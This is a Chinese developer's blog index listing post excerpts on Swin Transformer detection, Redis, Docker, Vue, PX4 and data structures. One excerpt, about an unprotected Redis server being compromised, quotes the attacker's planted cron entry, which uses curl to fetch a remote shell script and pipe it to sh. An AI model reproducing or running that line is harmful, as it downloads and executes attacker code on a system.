自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

Beyonderwei的博客

后端 前端 NLP 嵌入式

  • 博客(67)
  • 资源 (5)
  • 收藏
  • 关注

原创 Swin Transformer Object Detection 目标检测、问题汇总

文章目录一、环境问题1.二、工程问题三、数据集问题1. 只有训练集和验证集怎么办2. VOC转COCO、LabelMe转COCO3. The testing result of the whole datasets is empty一、环境问题1.二、工程问题三、数据集问题1. 只有训练集和验证集怎么办【问题描述】:我只有训练集和测试集或者只有训练集和验证集,该怎么办【解决办法】:可以直接把验证集和测试集使用同一份文件(工程里面默认也是这么做的),配置的时候数据集路径和文件对应上就可以。2.

2022-04-25 14:18:25 13102 34

原创 Swin Transformer 做主干的 RetinaNet 目标检测网络(mmdetection)

Swin Transformer 做主干的 RetinaNet 目标检测网络(mmdetection)

2022-04-13 01:23:28 3134 3

原创 Swin Transformer做主干的 YOLOv3 目标检测网络(mmdetection)

Swin Transformer 做主干的 YOLOv3 目标检测网络(mmdetection)

2022-04-13 00:38:11 8729 3

原创 Swin Transformer做主干的 Faster RCNN 目标检测网络(mmdetection)

Swin Transformer做主干的 Faster RCNN 目标检测网络

2022-04-11 22:21:58 10765 13

原创 Swin Transformer Object Detection 目标检测-4——数据集标注(LabelImg、LabelMe使用方法)

数据集标注中LabelImg 和 LabelMe的使用方法Swin Transformer 目标检测-4

2022-03-24 17:39:03 5513

原创 Swin Transformer Object Detection 目标检测-3——测试训练效果,训练cascade_mask_rcnn_swin

文章目录一、测试训练效果二、不输出实例分割图三、训练 cascade_mask_rcnn_swin视频教程完整版:我在B站录的教学视频 一、测试训练效果添加一个自己的图片在demo目录下,执行:python demo/image_demo.py demo/000019.jpg configs\swin\mask_rcnn_swin_tiny_patch4_window7_mstrain_480-800_adamw_3x_coco.py work_dirs/mask_rcnn_swin

2022-03-22 16:50:58 6958 3

原创 Swin Transformer Object Detection 目标检测-2——训练自己的数据集

文章目录一、修改工程二、开始训练视频教程完整版:我在B站录的教学视频 一、修改工程设置类别:修改 configs/base/models/mask_rcnn_swin_fpn.py 中 num_classes 为自己数据集的类别(有两处需要修改)配置权重信息:修改 configs/base/default_runtime.py 中的 interval,loadfrominterval:dict(interval=1) # 表示多少个 epoch 验证一次,然后保存一次权

2022-03-22 16:46:31 8347 12

原创 Swin Transformer Object Detection 目标检测-1——环境搭建详细教程

文章目录一、所需软件(包)介绍二、环境安装0. 版本选择1. VS 2019 安装2. 创建conda 虚拟环境方案一(直接创建)方案二(指定目录创建)3. pytorch 安装4. 安装其他必要的Python包5. 安装mmcv6. 安装mmdetection7. 安装 apex8. 拉取代码9. 测试工程10. 常见问题视频教程完整版:我在B站录的教学视频   一、所需软件(包)介绍VS 2017-2019 ,用里面的一个编译软件去编译文件,用于安装mmcv,因为

2022-03-22 16:38:25 13891 26

原创 实现一个投票排名系统(3)——投票流程与数据持久化

文章目录一、投票流程二、数据的持久化1. 定时持久化2. 定时持久化改变的数据3. 定时 & 定变化量阈值更新数据4. 问题讨论三、总结一、投票流程       之所以我们通过Redis的Sorted Set来保存选手的信息,一方面是因为可以快速的对选手进行排名,还有一点便是为了用于投票功能的实现。       通常投票(主播排名中就相当于送礼物)是一个被操作非常非常频繁的请

2021-08-07 18:40:51 804 1

原创 实现一个投票排名系统(2)——缓存设计(获取首页数据)

文章目录一、前提条件1. 问题讨论二、缓存设计1. 获取排名2. 获取排行榜首页主播信息3. 问题讨论4. 注意三、总结一、前提条件       假设我们已经有了一个主播表,形式是下面这样:(你可能还会需要其他字段,请自行添加)id名字票数1张三1002李四210票数: 票数越高排名越高,比如一个大炮是10票,这个礼物需要10块钱,一个飞机100票,需要100块钱这样子。1. 问题讨论问题讨

2021-08-01 20:47:06 1014

原创 实现一个投票排名系统(1)——场景介绍与分析

文章目录一、序言二、场景分析三、解决方案1. 前端页面资源2.票数经常变化3. 排名要近乎实时更新4. 数据信息持久化四、本节总结重要说明:    这是一个系列文章,如果你也正在做或打算做这样一个投票排名系统,请耐心看完,相信你一定会有所收获,该系列文章仅是作者觉得还不错的实现方式,可能你在哪些地方会有更好的想法,欢迎在评论区留下你的想法和建议。(主要基于MySQL和Redis实现)一、序言    无论学习还是做需求,投

2021-07-31 21:07:37 1070

原创 一文看懂HTTPS

文章目录一、基础知识二、图解说明1. 密钥2. 证书三、 流程图一、基础知识对称加密: 只有一个密钥,可以对数据进行加密,也可以对加密的数据进行解密,加密解密速度快,但是安全性相对较低。非对称加密: 有一对密钥,私钥加密的数据只能通过公钥来解密,公钥加密的数据只能通过私钥来解密CA(认证机构): 与各个操作系统厂商之间协商好了,操作系统如安卓、windows等都在出场时添加了这些CA的公钥(windos在控制面板/网络和Internet/Internet选项/内容/证书/中间证书颁发机构)Cli

2021-04-29 17:14:31 264

原创 WebStorm项目绑定Git远程仓库(码云——gitee)

文章目录一、需求场景二、前提三、Gitee操作四、Webstorm配置流程1. 为当前项目创建本地仓库2. 配置远程仓库五、提交代码到远程仓库一、需求场景    为了实现代码的备份和协作,通常本地的项目会同步到远程仓库。而常用的开发工具一般都集成了Git,因此可以直接在IDE内就完成代码的版本控制,免去了命令行的操作。因此本文介绍如何在Gitee、webStorm中进行相应的配置实现上述需求。Github、IDEA(或其他JetBrains公司的软件)与之基本相同,只是因为国内Github常规访问方式

2020-11-23 15:57:01 9228 1

原创 阿里云容器镜像服务(Docker Registry)

文章目录一、 容器镜像服务二、开通容器镜像服务三、配置使用1. 配置Docker官方镜像加速地址2. 镜像托管一、 容器镜像服务    说到容器镜像服务,代表作那就是Docker了,和代码版本控制工具Git有代码仓库Github一样,应用容器引擎Docker也有镜像仓库Docker Hub,Docker Hub提供存储和托管镜像的服务。本着 “Build,Ship and Run Any App Anywhere” 的理念,Docker的应用已经非常的广泛。    和我们访问Github会很慢一样,访

2020-10-29 17:24:13 3127

原创 .NET Core 通过Docker部署到Ubuntu

文章目录一、概述二、流程一、概述二、流程

2020-10-29 12:10:01 1128

原创 Redis被攻击(Redis安全性)

文章目录一、简介二、设置密码一、简介    默认Redis没有开启密码,因此需要我们进入后设置。如果没有设置密码就很容易会被攻击到,导致数据丢失,被植入其他内容。被攻击后写入了一些其他内容如下:查询一下某一个键的内容为如下形式:(不是很懂,应该被植入了一些脚本文件)"\t\n*/20 * * * * curl -fsSL http://d.powerofwish.com/pm.sh | sh\n\t"二、设置密码常用命令:config get requirepass # 查询获

2020-10-28 17:04:38 2075 2

原创 通过SpringBoot拦截器和JWT验证实现接口保护

通过SpringBoot拦截器和JWT验证实现接口保护一、使用场景二、拦截器三、JWT令牌认证四、JWT工具类五、颁发令牌六、请求拦截一、使用场景    单体应用的登录验证与接口保护:有时我们并不想希望我们的所有接口都是完全开放的,比如用户登陆后获取个人信息等接口,因此需要对用户进行验证,而验证过程需要在访问接口之前进行,因此可通过拦截器来方便的实现。(更复杂的认证授权可使用Shiro或SpringSecurity)二、拦截器    拦截器会在访问接口之前对请求进行拦截,因此可以在拦截器中对接口请求

2020-08-15 22:44:13 3365 3

原创 PX4开发环境搭建(Ubuntu1804+QGC+Qt Creator )

文章目录前言一、安装环境二、PX4环境搭建1. 在虚拟机中安装Ubuntu2. 安装PX4环境(1)下载PX4源码:(2) 安装工具链(3) jMAVSim仿真(4) 编译验证三、安装QGC四、安装Qt Creator前言在这之前作者完全没接触过PX4,安装过程遇到了很多坑,而且每安装下载一个东西都要等好久,出现问题又要重新开始,前后折腾了四天才弄好,希望此文对大家有所帮助。一、安装环境...

2020-04-29 15:04:29 7692 7

原创 Ubuntu上使用Qt Creator编译、下载PX4代码

文章目录一、创建工程文件二、Qt 加载工程文件三、工程的配置四、编译工程五、下载程序六、连接QGC验证一、创建工程文件在命令行执行以下几条命令:cd ~/src/Firmwaremkdir ../Firmware-buildcd ../Firmware-buildcmake ../Firmware -G "CodeBlocks - Unix Makefiles" -DCONFIG=nu...

2020-04-26 18:11:36 1157

原创 PX4开发基础

文章目录一、与无人机的缘分二、开发前三、背景知识硬件PIXHAWKpixhawkV1:pixhawkV2:pixhawkV3x:软件代码ArduPilotPX4(推荐)地面站(GCS)Mission Planner(MP)QGroundControl(QGC)四、我的开发环境一、与无人机的缘分    做无人机是源于电赛,因为对无人机比较发烧就分到了无人机的组里,参加的三次电赛两次是做的无人机的...

2020-03-26 22:18:21 2305

原创 Nginx代理时在gunicorn的日志中记录真实访问IP

文章目录一、问题概述二、解决方法1. Nginx配置:2. gunicorn配置三、实现效果一、问题概述在通过Nginx负载均衡的情况下,gunicorn的log中记录的访问访问日志并不是用户的IP,而是Nginx主机的IP。二、解决方法1. Nginx配置:其中proxy_set_header X-Real-IP $remote_addr;在请求头中加入了真实的用户IP信息,并一起发送...

2020-03-17 21:38:14 1130

原创 通过Docker部署Flask应用(gunicorn+gevent)

文章目录一、项目架构二、Docker安装三、获取需求文件requirements.txt四、gunicorn配置文件五、编写Dockerfile0. 前提1. 选择python环境2. Dockerfile六、build得到镜像七、运行镜像前提启动命令将镜像上传到阿里云八、应用测试九、日志查看一、项目架构    前后端分离项目中,为缓解服务器压力,通常我们后端代码会部署到多个服务器上,而通过D...

2020-03-16 20:25:21 696

原创 Vue项目打包并部署到tomcat

文章目录一、打包Vue项目前期准备项目打包二、部署到tomcat服务器运行环境部署过程三、通过Nginx反向代理访问一、打包Vue项目前期准备    为避免部署后出现无法访问和页面空白等问题,需要修改三处的内容,文件位置如下:在 /build/untils.js 添加publicPath: '../../',添加后如下: if (options.extract) { ...

2020-03-11 10:58:50 2256

原创 打包Vue项目部署到Nginx并访问

文章目录一、简介二、打包项目三、Docker安装Nginx并部署项目运行环境部署过程修改配置文件四、重启容器并访问一、简介把 Nginx 做为静态资源服务器,用来部署前端项目,本文介绍 Vue 项目打包、部署到 Nginx 的过程,并解决部署后,因 vue-router 使用 history 模式导致的在直接访问项目和点击路由链接时可以访问,而根地址刷新页面空白的问题。二、打包项目Vue的...

2020-03-11 10:44:58 2496

原创 Docker安装Nginx实现反向代理

文章目录一、配置文件二、通过宿主机的配置文件启动三、反向代理一、配置文件    以前的配置文件为一个nginx.conf,新的版本将其分成了两个,default.conf 和 nginx.conf,为通过数据卷映射的方式,但没有在github上找到分开的这两个文件,因此先通过直接运行的方式得到这两个文件。先普通方式运行一个nginx容器docker run --name my-nginx...

2020-03-07 21:37:07 980

原创 Vue打包项目时在处理css文件过程报错(Error processing file: static/css/app.xxx.css)

文章目录一、报错内容二、报错原因三、解决方法一、报错内容building for production…Error processing file: static/css/app.文件id.css(node:1700) UnhandledPromiseRejectionWarning: CssSyntaxError: E:\项目路径\static\css\app.a8071d931d4fde...

2020-03-04 16:25:47 3738

原创 数据结构——交换排序(冒泡排序、快速排序)

文章目录一、冒泡排序排序思想图解代码实现二、快速排序排序思想图解代码实现一、冒泡排序排序思想从头到尾,两两比较相邻的两个元素,如果顺序不对,则交换顺序,这样每一次即可将参与比较中最小的找出来。图解从下向上,如果array[i]<array[i-1]则进行交换,如最左侧的一列,35交换-37交换-32不换-21不换-14交换-16交换。这样就得到了第二列,循环执行。代码实现/*...

2020-03-01 21:47:51 278

原创 数据结构——插入排序

文章目录一、排序思想二、图解三、代码实现一、排序思想将数据元素,一个一个的插入到当前已经排序好的表中。二、图解三、代码实现void insertSort(int array[], int length){ int i, j, tmp; for(i = 1; i < length; i++) { if(array[i] < array...

2020-03-01 21:47:35 202

原创 数据结构——选择排序

文章目录一、排序思想二、图解三、代码实现一、排序思想每一次取出没有被排序的元素中最小的元素。二、图解先从已有的七个中找到最小的(下标为2),记住下标,与下标为0的交换。从剩下的六个中再找到这六个中最小的(下标为3),记住下标,与下标为1的交换。直到循环六次(N-1次),全部排好。三、代码实现/** * * @param array[] 要排序的数组 * ...

2020-03-01 21:47:18 628

原创 数据结构——查找(平衡二叉树、分块索引、哈希表对比)

文章目录一、平衡二叉树1. 解决的问题2. 概念3. 分析二、分块索引1. 解决的问题2. 概念3. 使用场景三、哈希表1. 解决的问题2. 概念使用场景一、平衡二叉树1. 解决的问题     对于顺序存储的有序表在查找时可以采用二分法、插值法等查找方式,使查找的时间复杂度由 O[n]O[n]O[n] 提高到了O[logn]O[log_n]O[logn​] ,但是面临的问题是,顺序存储的有序...

2020-03-01 21:47:01 432

原创 数据结构——最小生成树

文章目录一、相关概念二、问题导向三、相关算法Prim算法:Kruskal算法:一、相关概念连通图:图中的任意两个节点之间都是联通的,即:总能从A节点按照一定路径走到B节点。生成树:为联通图的一个联通子图,包含N个结点和N-1条边。最小生成树:当联通图中的每条边带有权值时,所有边权值和最小的生成树。二、问题导向    各个城市之间修建铁路,城市之间铺设电缆、水管等,不考虑环境等复杂因...

2020-03-01 21:46:42 557

原创 数据结构——赫夫曼树

文章目录一、实际问题场景二、赫夫曼树概念:分析:构造赫夫曼树:一、实际问题场景比如要为学生的成绩按照分数线分为优、良、中、及格、和不及格,对应的分数线如下:等级优良中及格不及格分数区间90-10080-8970-7960-690-59分数在该区间的概率10%30%40%10%10%现在有大量的学生的成绩需要对比,如果按照下面两种顺序...

2020-03-01 21:46:17 299

原创 数据结构——KMP模式匹配算法

文章目录注:普通的匹配方式以及KMP匹配的方式,实现快速查找子串。并对程序进行测试。/** * kmp.c * * Created on: 2020年1月31日 * Author: Beyonderwei */#include <stdio.h>#include <stdlib.h>#include <string.h>/*...

2020-03-01 21:46:00 300

原创 数据结构——栈、队列

文章目录一、栈简介结构代码应用场景二、队列简介结构代码应用场景一、栈简介概念:一种特殊的线性表——先进后出(Last In First Out )的线性表。特点:先进后出,只能从栈顶弹出(pop)或压入(push)数据。存储结构:顺序存储和链式存储(常用)。结构代码注:链式存储// 定义链表元素所存储的数据类型(以int为例)typedef int ElemType;// ...

2020-03-01 21:45:35 250

原创 数据结构——链表

文章目录一、概念二、分类三、单链表四、循环链表一、概念线性表:多个数据元素组成的有限序列。链表:线性表的链式存储结构二、分类单链表:链表的结点包含数据域和指针域,指针域只有一个,并指向下一个结点。循环链表:单链表中,终端结点的指针由空指针改为指向头结点的指针,形成一个环。双向链表:结点中除数据域以外包含两个指针域,一个指向前驱结点,一个指向后继结点。三、单链表注:C语言实...

2020-03-01 21:45:02 506

原创 前端通过MathJax显示数学公式(vue+MathJax)

文章目录一、关于MathJax二、应用场景三、遇到的问题问题1(没有渲染效果)问题2(行间公式不被渲染)四、未来的方向一、关于MathJax官方网址:MathJax使用文档简介:MathJax支持使用LaTeX,MathML或AsciiMath语法在网页中渲染数学公式。我们常用的语法为LaTex,比如该论坛支持的也是LaTex 。二、应用场景    想实现在用户选择文件后能够直接在前...

2020-02-28 20:10:02 7436 1

原创 注册/登录 实现过程详解

文章目录一、前言二、实现过程图解注册:登录:一、前言    一般的平台基本上都有用户管理这一部分,虽然我们都是各个平台的用户,对于一般的流程有所了解,看似简单,但是真正实现的过程中确遇到了很多的困难。二、实现过程图解注册:看似过程似乎很简单但是这过程还有很多需要考虑的因素,采取邮箱发送验证码的方式实现验证:验证码如何产生:    通常我们的验证码是0-9中的六个或者四个数字,因此...

2020-01-23 21:00:51 2916

原创 使用 GitBook 完成你的写作

文章目录一、什么是GitBook二、GitBook特点三、开始使用一、什么是GitBookDocument everything for you,your users and your team.  GitBook并不是Git的教程,而是以Git作为版本控制系统,结合Github、Markdown用来写书(文档等)的工具。你可以在GitBook的网站、计算机本地上进行你的创作,GitBook...

2020-01-15 18:48:46 323

原创 Ubuntu安装Docker(官方/阿里源)

文章目录一、为什么使用Docker二、Ubuntu安装Docker一、为什么使用Docker构建后处处运行:Build Ship and Run Any App AnywhereDocker解决了因为配置、环境等不同造成的项目部署后无法运行的问题,避免多台机器部署时的反复配置。相对于虚拟机来说,因为Docker使用的是宿主机的内核,具有轻量、占用资源少、启动快等特点,容器间相互隔离,不会相互...

2020-01-05 22:08:05 4495 1

原创 Flask 发送邮件

文章目录一、什么是POP3、SMTP和IMAP?二、开启邮箱的SMTP服务三、Python Flask框架发送邮件一、什么是POP3、SMTP和IMAP?POP3、SMTP和IMAP二、开启邮箱的SMTP服务以常用的网易邮箱为例(其他同理):登录后进入常规设置选择POP3/SMTP/IMAP:开启如下两条服务,并注意到这里提示使用的是授权码登录第三方客户端,而非邮箱密码(有些邮箱使用的...

2020-01-05 19:28:10 370

C语言编码规范(Recommended C Style and Coding Standards)

C语言的编程规范-PDF文档(Recommended C Style and Coding Standards中文版全文),主要包括文件组织、声明、函数声明、空白、简单语句、复杂语句、操作符、命名约定、常量、宏、条件编译、可移植性、标准C、特殊考虑、Lint、Make、工程相关标准等。

2019-12-06

GPS_GPRS.rar

通过GPRS上GPS位置数据到服务器 MCU:TM4C123GXL GPRS:模块使用的是有方的N10标准版 GPS:使用的是中科微电子的ATGM332D 5N-31 具体可参考博客:https://blog.csdn.net/CSDN_X_W/article/details/94594170

2019-07-04

TI TM4C123GXL Lanchpad keil环境下的工程模板

TI TM4C123GXL Lanchpad keil环境下的工程模板,下载解压即可编译使用。 包括:①. 系统基本的系统时钟部分(配置为80M)。 ②. 串口0的初始化配置、数据发送函数、中断数据接收 。 ③. 定时器SysTick 实现精准延时函数。

2019-05-22

CC3200 WIFI实训开发套件资料 例程 说明 开发工具合集

TI官方的WIFI开发套件资料(产品:OURS-SDK-WFB),里面包括code:(代码)dec:(描述、中文介绍、开发教程)tools:(开发工具合集 CCS软件 CCS_Uniflah、SDK、TFTP Sever等)由于我上传资料大小限制 ,所以Tools部分再您所下载的压缩包中有网盘链接和密码,可以再这里下载 。或邮件联系我:[email protected]

2018-04-21

HC-SR04测距

基于MSP430单片机通过HC-SR04测距 单位mm

2017-08-06

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除